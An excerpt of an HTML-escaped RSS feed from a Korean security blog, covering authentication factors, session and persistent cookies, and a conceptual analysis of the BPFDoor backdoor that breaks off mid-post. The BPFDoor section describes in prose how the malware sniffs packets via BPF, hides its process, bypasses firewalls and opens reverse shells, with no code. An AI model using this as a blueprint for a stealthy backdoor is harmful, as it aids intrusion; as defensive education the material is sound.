&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;지문&lt;/li&gt;
&lt;li&gt;얼굴 인식&lt;/li&gt;
&lt;li&gt;홍채(눈) 스캔&lt;/li&gt;
&lt;li&gt;음성 인식&lt;/li&gt;
&lt;li&gt;서명, 걸음걸이, 타이핑 습관 (행동적 생체 인식)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;특징&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;사용자가 &amp;lsquo;본인&amp;rsquo;이라는 사실 자체로 인증&lt;/li&gt;
&lt;li&gt;도난이나 분실 걱정이 없음 (지문이나 얼굴은 항상 소지)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;취약점&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;생체정보는 유출되면 변경이 불가능&lt;/li&gt;
&lt;li&gt;인식 기기의 품질에 따라 오탐, 미탐 가능 (예: 습기 있는 손, 어두운 곳)&lt;/li&gt;
&lt;li&gt;프라이버시 문제(민감한 개인정보 수집)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>2FA</category>
      <category>MFA</category>
      <category>SFA</category>
      <category>사용자인증</category>
      <category>인증</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/26</guid>
      <comments>https://defcon.tistory.com/26#entry26comment</comments>
      <pubDate>Thu, 1 May 2025 10:16:56 +0900</pubDate>
    </item>
    <item>
      <title>세션쿠키(Session Cookie)와 지속쿠키(Persistent Cookie) 개념</title>
      <link>https://defcon.tistory.com/25</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;웹 개발에서 쿠키(cookie)는 사용자의 브라우저에 저장되는 작은 데이터 조각입니다. 쿠키는 웹 서버가 사용자의 상태를 기억할 수 있도록 도와주는 중요한 메커니즘이며, 예를 들어 로그인 상태 유지, 장바구니 정보 저장, 사용자 선호 설정 등을 위해 사용됩니다.&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;쿠키(cookie)란?&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 클라이언트(사용자)의 브라우저에 저장되는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;작은 텍스트 파일&lt;/b&gt;.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;형식&lt;/b&gt;:&lt;span&gt;&amp;nbsp;&lt;/span&gt;key=value&lt;span&gt;&amp;nbsp;&lt;/span&gt;형식이며, 추가적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;Expires,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Max-Age,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Path,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Domain,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Secure,&lt;span&gt;&amp;nbsp;&lt;/span&gt;HttpOnly,&lt;span&gt;&amp;nbsp;&lt;/span&gt;SameSite&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 속성을 가질 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;주 사용 목적&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세션 유지 (로그인 상태 등)&lt;/li&gt;
&lt;li&gt;사용자 추적 (애널리틱스, 광고)&lt;/li&gt;
&lt;li&gt;사용자 설정 저장 (언어, 테마 등)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;쿠키의 종류&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;쿠키는 다양한 기준으로 분류할 수 있습니다. 일반적으로는 수명(lifetime)과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;접근 범위(scope)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기준으로 나뉩니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1. &amp;nbsp;Session Cookie (세션 쿠키)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 브라우저 세션 동안만 유지되는 쿠키. 브라우저를 닫으면 자동으로 삭제됨.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;저장 위치&lt;/b&gt;: 메모리 또는 브라우저의 임시 저장소.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;용도&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;로그인 세션 유지&lt;/li&gt;
&lt;li&gt;일시적인 사용자 상태 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Expires 또는 Max-Age 속성 없음&lt;/b&gt;: 브라우저가 종료되면 쿠키는 사라짐.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안&lt;/b&gt;: 민감한 정보를 저장할 때 자주 사용되며, 서버와의 지속적인 통신이 요구됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;예시:&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: session_id=abc123; Path=/; HttpOnly
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2. &amp;nbsp;Persistent Cookie (영속 쿠키)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;정의&lt;/b&gt;: 명시된 만료 시간(Expires&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;Max-Age)까지 브라우저에 저장되는 쿠키.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;브라우저 종료 후에도 유지됨&lt;/b&gt;: 지정된 기간 동안 유효.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;용도&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동 로그인&lt;/li&gt;
&lt;li&gt;사용자 설정 및 선호도 저장&lt;/li&gt;
&lt;li&gt;방문자 추적&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;보안&lt;/b&gt;: 장시간 유지되므로 민감한 데이터는 저장하지 않는 것이 권장됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;예시:&lt;/h4&gt;
&lt;pre id=&quot;code_1746019516972&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Set-Cookie: user_id=12345; Expires=Wed, 30 Apr 2025 23:59:59 GMT; Path=/; Secure&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 90px;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff;&quot;&gt;속성&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff;&quot;&gt;Session Cookie&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff;&quot;&gt;Persistent Cookie&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;수명&lt;/td&gt;
&lt;td&gt;브라우저 세션 동안&lt;/td&gt;
&lt;td&gt;명시된 기간 (Expires/Max-Age)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;저장 위치&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;메모리 또는 임시 저장소&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;디스크에 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;브라우저 종료 시&lt;/td&gt;
&lt;td&gt;삭제됨&lt;/td&gt;
&lt;td&gt;유지됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;사용 예시&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;로그인 상태 유지&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;자동 로그인, 사용자 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;쿠키의 기본 구조&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;쿠키의 구조는 기본적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;key=value&lt;span&gt;&amp;nbsp;&lt;/span&gt;쌍&lt;/b&gt;으로 시작하고, 그 뒤에 여러 개의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;속성(attributes)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;이 붙을 수 있습니다. 이 속성들은 쿠키의 동작 방식(유효기간, 접근 범위, 보안 등)을 정의합니다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: key=value; Attribute1=...; Attribute2=...; ...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;예시&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; Max-Age=3600; SameSite=Lax
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;쿠키의 주요 구성 요소&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;항목&lt;/td&gt;
&lt;td style=&quot;text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;key=value&lt;/td&gt;
&lt;td&gt;쿠키의 **이름(name)**과&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;값(value)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;쌍입니다. 가장 기본적인 정보입니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Expires&lt;/td&gt;
&lt;td&gt;쿠키의 만료 시점을 명시합니다. (예:&lt;span&gt;&amp;nbsp;&lt;/span&gt;Expires=Wed, 30 Apr 2025 23:59:59 GMT)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Max-Age&lt;/td&gt;
&lt;td&gt;쿠키의 유효 시간(초 단위)을 설정합니다. 이 시간이 지나면 쿠키는 삭제됩니다. (Max-Age=3600&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; 1시간)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain&lt;/td&gt;
&lt;td&gt;쿠키를 적용할&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;도메인 범위&lt;/b&gt;를 설정합니다. 기본적으로는 현재 요청한 도메인에만 적용됩니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Path&lt;/td&gt;
&lt;td&gt;쿠키를 전송할 **경로(URI)**를 설정합니다. (Path=/이면 모든 경로에 쿠키가 전송됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secure&lt;/td&gt;
&lt;td&gt;&lt;b&gt;HTTPS 연결에서만 쿠키를 전송&lt;/b&gt;합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;HttpOnly&lt;/td&gt;
&lt;td&gt;JavaScript를 통해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;접근할 수 없도록 설정&lt;/b&gt;하여 보안을 강화합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SameSite&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크로스 사이트 요청에서의 쿠키 전송 방식을 제한&lt;/b&gt;합니다. (Lax,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Strict,&lt;span&gt;&amp;nbsp;&lt;/span&gt;None&lt;span&gt;&amp;nbsp;&lt;/span&gt;중 선택 가능)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;속성 설명&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Expires&lt;span&gt;&amp;nbsp;&lt;/span&gt;vs&lt;span&gt;&amp;nbsp;&lt;/span&gt;Max-Age&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Expires: 절대 시각 (UTC 시간 기준)&lt;/li&gt;
&lt;li&gt;Max-Age: 상대 시간 (현재 시각으로부터 초 단위)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote style=&quot;color: #000000; text-align: start;&quot; data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;둘 중 하나만 있어도 동작하지만,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Max-Age가 우선합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;Secure&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: key=value; Secure
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이 쿠키는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;HTTPS 연결일 때만&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;브라우저가 서버에 전송합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;HttpOnly&lt;/h3&gt;
&lt;pre class=&quot;sql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: key=value; HttpOnly
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JavaScript의&lt;span&gt;&amp;nbsp;&lt;/span&gt;document.cookie에서 이 쿠키를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;읽거나 수정할 수 없습니다.&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;XSS 공격을 방지하는 데 유용합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;SameSite&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;Set-Cookie: key=value; SameSite=Lax
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CSRF 방지를 위한 속성.&lt;/li&gt;
&lt;li&gt;옵션:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Strict:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;완전한 차단&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(타 사이트 요청 시 쿠키 미전송)&lt;/li&gt;
&lt;li&gt;Lax: 기본값. 일부 안전한 요청(GET 등)은 허용&lt;/li&gt;
&lt;li&gt;None: 크로스 도메인 요청에서도 쿠키 허용&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;(단, Secure 속성 필수)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>정보보호</category>
      <category>cookie</category>
      <category>persistentcookie</category>
      <category>sessioncookie</category>
      <category>브라우저쿠키</category>
      <category>세션쿠키</category>
      <category>지속쿠키</category>
      <category>쿠키</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/25</guid>
      <comments>https://defcon.tistory.com/25#entry25comment</comments>
      <pubDate>Wed, 30 Apr 2025 22:30:30 +0900</pubDate>
    </item>
    <item>
      <title>SKT 해킹에 사용된 BPFDoor 악성코드 개념</title>
      <link>https://defcon.tistory.com/24</link>
      <description>&lt;h1 style=&quot;color: #000000; text-align: start;&quot;&gt;BPFdoor 악성코드 상세 분석&lt;/h1&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;BPFdoor&lt;/b&gt;는 이름에서 알 수 있듯이,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;BPF (Berkeley Packet Filter)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;기술을 악용합니다.&lt;/li&gt;
&lt;li&gt;Linux 시스템과 Solaris 시스템을 주 타겟으로 합니다.&lt;/li&gt;
&lt;li&gt;전통적인 포트 리스닝이나 새 소켓 생성 없이도 패킷을 감시할 수 있어,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;네트워크 모니터링 도구에 걸리지 않고&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;C2(Command and Control) 통신을 수행할 수 있습니다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;중국계 해커 조직&lt;/b&gt;과 연관된 것으로 분석된 경우가 많습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2. 주요 특징&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;특징&lt;/td&gt;
&lt;td&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;무포트 백도어(Portless backdoor)&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;열린 포트 없이 네트워크 명령을 수신함.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;BPF 활용&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;커널 수준에서 네트워크 패킷을 스니핑하고 특정 트리거 패킷을 감지함.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;방화벽 우회&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;포트를 열지 않고 명령 수신이 가능하여, 보안 장비나 소프트웨어를 우회함.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;루트 권한 불필요&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;루트(root) 권한 없이도 실행이 가능함.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;다양한 프로토콜 지원&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;TCP, UDP, ICMP 등 다양한 프로토콜을 통해 통신할 수 있음.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;파일 기반 명령 실행&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;감지된 패킷의 내용에 따라 시스템 명령을 실행하거나, 쉘을 오픈함.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;3. 감염 및 동작 과정&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;감염&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적인 취약점 공격, 또는 시스템에 이미 권한을 얻은 상태에서 설치.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;BPF 초기화&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;네트워크 인터페이스를 열고 BPF 필터를 설치해 특정 패킷만 감시.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;패킷 감시&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;외부에서 보내는 특정 형식의 패킷(예: 특정 Magic Number 포함)을 감지.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령 수신&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패킷이 감지되면, 내장된 명령어 파서를 통해 명령을 해석.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령 실행&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;쉘 열기, 파일 전송, 시스템 정보 수집 등의 명령을 수행.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;응답&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자에게 명령 수행 결과를 전송 (역방향 연결 사용 가능).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;4. 주요 기술적 디테일&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;BPF 필터링 조건&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적인 트래픽과 구분되기 위해 특별히 조작된 패킷만 수신.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Magic Number 기반 트리거&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;패킷 안에 숨겨진 특정 시그니처를 탐지해서 동작을 시작함.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Raw Socket 사용&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;기존 네트워크 API 대신 저수준(raw socket) 기능을 이용하여 감지되지 않음.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;프로세스 은닉&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;ps/top 등 일반적인 프로세스 조회 명령어로 식별이 어렵게 이름을 위장하거나, 환경 변수를 조작.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;5. 공격자가 사용할 수 있는 기능&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;역쉘 (Reverse Shell) 오픈&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;파일 업로드 및 다운로드&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;명령 실행 (system call)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;시스템 정보 수집 (uname, id, etc.)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Persistence (영구적 설치)&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;6. 탐지와 대응의 어려움&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
